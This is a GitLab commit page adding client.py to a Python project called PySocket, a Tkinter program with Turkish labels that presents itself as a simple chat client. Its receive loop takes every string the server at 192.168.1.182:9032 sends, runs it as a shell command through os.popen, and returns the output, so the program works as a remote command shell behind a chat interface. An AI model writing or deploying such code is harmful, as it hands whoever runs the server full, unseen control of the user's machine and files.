Skip to content
Projeler
Gruplar
Parçacıklar
Yardım
Yükleniyor...
Oturum aç / Kaydol
Gezinmeyi değiştir
P
PySocket
Proje
Proje
Ayrıntılar
Etkinlik
Cycle Analytics
Depo (repository)
Depo (repository)
Dosyalar
Kayıtlar (commit)
Dallar (branch)
Etiketler
Katkıda bulunanlar
Grafik
Karşılaştır
Grafikler
Konular (issue)
0
Konular (issue)
0
Liste
Pano
Etiketler
Kilometre Taşları
Birleştirme (merge) Talepleri
0
Birleştirme (merge) Talepleri
0
CI / CD
CI / CD
İş akışları (pipeline)
İşler
Zamanlamalar
Grafikler
Paketler
Paketler
Wiki
Wiki
Parçacıklar
Parçacıklar
Üyeler
Üyeler
Collapse sidebar
Close sidebar
Etkinlik
Grafik
Grafikler
Yeni bir konu (issue) oluştur
İşler
Kayıtlar (commit)
Konu (issue) Panoları
Kenar çubuğunu aç
Ergün Elvan Bilsel
PySocket
Commits
7f151c89
Kaydet (Commit)
7f151c89
authored
Tem 29, 2019
tarafından
Ergün Elvan Bilsel
Dosyalara gözat
Seçenekler
Dosyalara Gözat
İndir
Eposta Yamaları
Sade Fark
Add new file
üst
2a009d50
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
136 additions
and
0 deletions
+136
-0
client.py
client.py
+136
-0
No files found.
client.py
0 → 100644
Dosyayı görüntüle @
7f151c89
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from
datetime
import
datetime
import
socket
import
os
import
sys
import
threading
try
:
import
Tkinter
as
tk
except
ImportError
:
import
tkinter
as
tk
BUFFER_SIZE
=
20
root
=
tk
.
Tk
()
root
.
title
(
"Client"
)
text
=
tk
.
Text
(
master
=
root
)
text
.
pack
(
expand
=
True
,
fill
=
"both"
)
entry
=
tk
.
Entry
(
master
=
root
)
entry
.
pack
(
expand
=
True
,
fill
=
"x"
)
frame
=
tk
.
Frame
(
master
=
root
)
frame
.
pack
()
def
buttons
():
for
i
in
"baglan"
,
"hostname"
,
"yolla"
,
"temizle"
,
"Exit"
:
b
=
tk
.
Button
(
master
=
frame
,
text
=
i
)
b
.
pack
(
side
=
"left"
)
yield
b
b1
,
b2
,
b3
,
b4
,
b5
=
buttons
()
class
Client
:
def
__init__
(
self
):
self
.
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
self
.
nickname
=
None
def
baglan
(
self
):
now
=
str
(
datetime
.
now
())[:
-
7
]
if
self
.
nickname
is
not
None
:
try
:
self
.
s
.
connect
((
"192.168.1.182"
,
9032
))
text
.
insert
(
"insert"
,
"({}) : Baglandı.
\n
"
.
format
(
now
))
self
.
s
.
sendall
(
bytes
(
"{}"
.
format
(
self
.
nickname
)
.
encode
(
"utf-8"
)))
self
.
receive
()
except
ConnectionRefusedError
:
text
.
insert
(
"insert"
,
"({}) : Sunucu online.
\n
"
.
format
(
now
))
else
:
text
.
insert
(
"insert"
,
"({}) : hostname i giriniz.
\n
"
.
format
(
now
))
def
receive
(
self
):
while
True
:
data
=
str
(
self
.
s
.
recv
(
1024
))[
2
:
-
1
]
print
(
data
)
now
=
str
(
datetime
.
now
())[:
-
7
]
komut
=
str
.
format
(
data
)
f
=
str
(
os
.
popen
(
komut
)
.
read
())
# self.s.sendall(bytes("{}".format(self.nickname, "clientın komut çıktısı" ).encode("utf-8")))
self
.
s
.
sendall
(
bytes
(
"{}"
.
format
(
f
)
.
encode
(
"utf-8"
)))
if
len
(
data
)
==
0
:
pass
else
:
text
.
insert
(
"insert"
,
"({}) : {}
\n
"
.
format
(
now
,
data
))
# text.insert((now, 'server', f ))
def
do_nothing
(
self
):
pass
def
hostname_giriniz
(
self
):
b2
.
configure
(
command
=
self
.
do_nothing
)
_frame
=
tk
.
Frame
(
master
=
root
)
_frame
.
pack
()
new_entry
=
tk
.
Entry
(
master
=
_frame
)
new_entry
.
grid
(
row
=
0
,
column
=
0
)
new_button
=
tk
.
Button
(
master
=
_frame
,
text
=
"hostname i onayla"
)
new_button
.
grid
(
row
=
1
,
column
=
0
)
def
nickname_command
():
now
=
str
(
datetime
.
now
())[:
-
7
]
if
new_entry
.
get
()
==
""
:
text
.
insert
(
"insert"
,
"({}) : hostname i girmeniz gerekmektedir.
\n
"
.
format
(
now
))
else
:
self
.
nickname
=
new_entry
.
get
()
_frame
.
destroy
()
text
.
insert
(
"insert"
,
"({}) : hostname değişti yeni ismi: '{}'
\n
"
.
format
(
now
,
self
.
nickname
))
b2
.
configure
(
command
=
c1
.
hostname_giriniz
)
new_button
.
configure
(
command
=
nickname_command
)
def
yolla
(
self
):
respond
=
"{}: {}"
.
format
(
self
.
nickname
,
str
(
entry
.
get
()))
now
=
str
(
datetime
.
now
())[:
-
7
]
entry
.
delete
(
"0"
,
"end"
)
try
:
self
.
s
.
sendall
(
bytes
(
respond
.
encode
(
"utf-8"
)))
text
.
insert
(
"insert"
,
"({}) : {}
\n
"
.
format
(
now
,
respond
))
except
BrokenPipeError
:
text
.
insert
(
"insert"
,
"({}) : Server a bağlantı hatası.
\n
"
.
format
(
now
))
self
.
s
.
close
()
c1
=
Client
()
def
baglan
():
t1
=
threading
.
Thread
(
target
=
c1
.
baglan
)
t1
.
start
()
def
yolla
():
t2
=
threading
.
Thread
(
target
=
c1
.
yolla
)
t2
.
start
()
def
temizle
():
text
.
delete
(
"1.0"
,
"end"
)
def
destroy
():
root
.
destroy
()
if
__name__
==
"__main__"
:
b1
.
configure
(
command
=
baglan
)
b2
.
configure
(
command
=
c1
.
hostname_giriniz
)
b3
.
configure
(
command
=
yolla
)
b4
.
configure
(
command
=
temizle
)
b5
.
configure
(
command
=
destroy
)
t0
=
threading
.
Thread
(
target
=
root
.
mainloop
)
t0
.
run
()
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment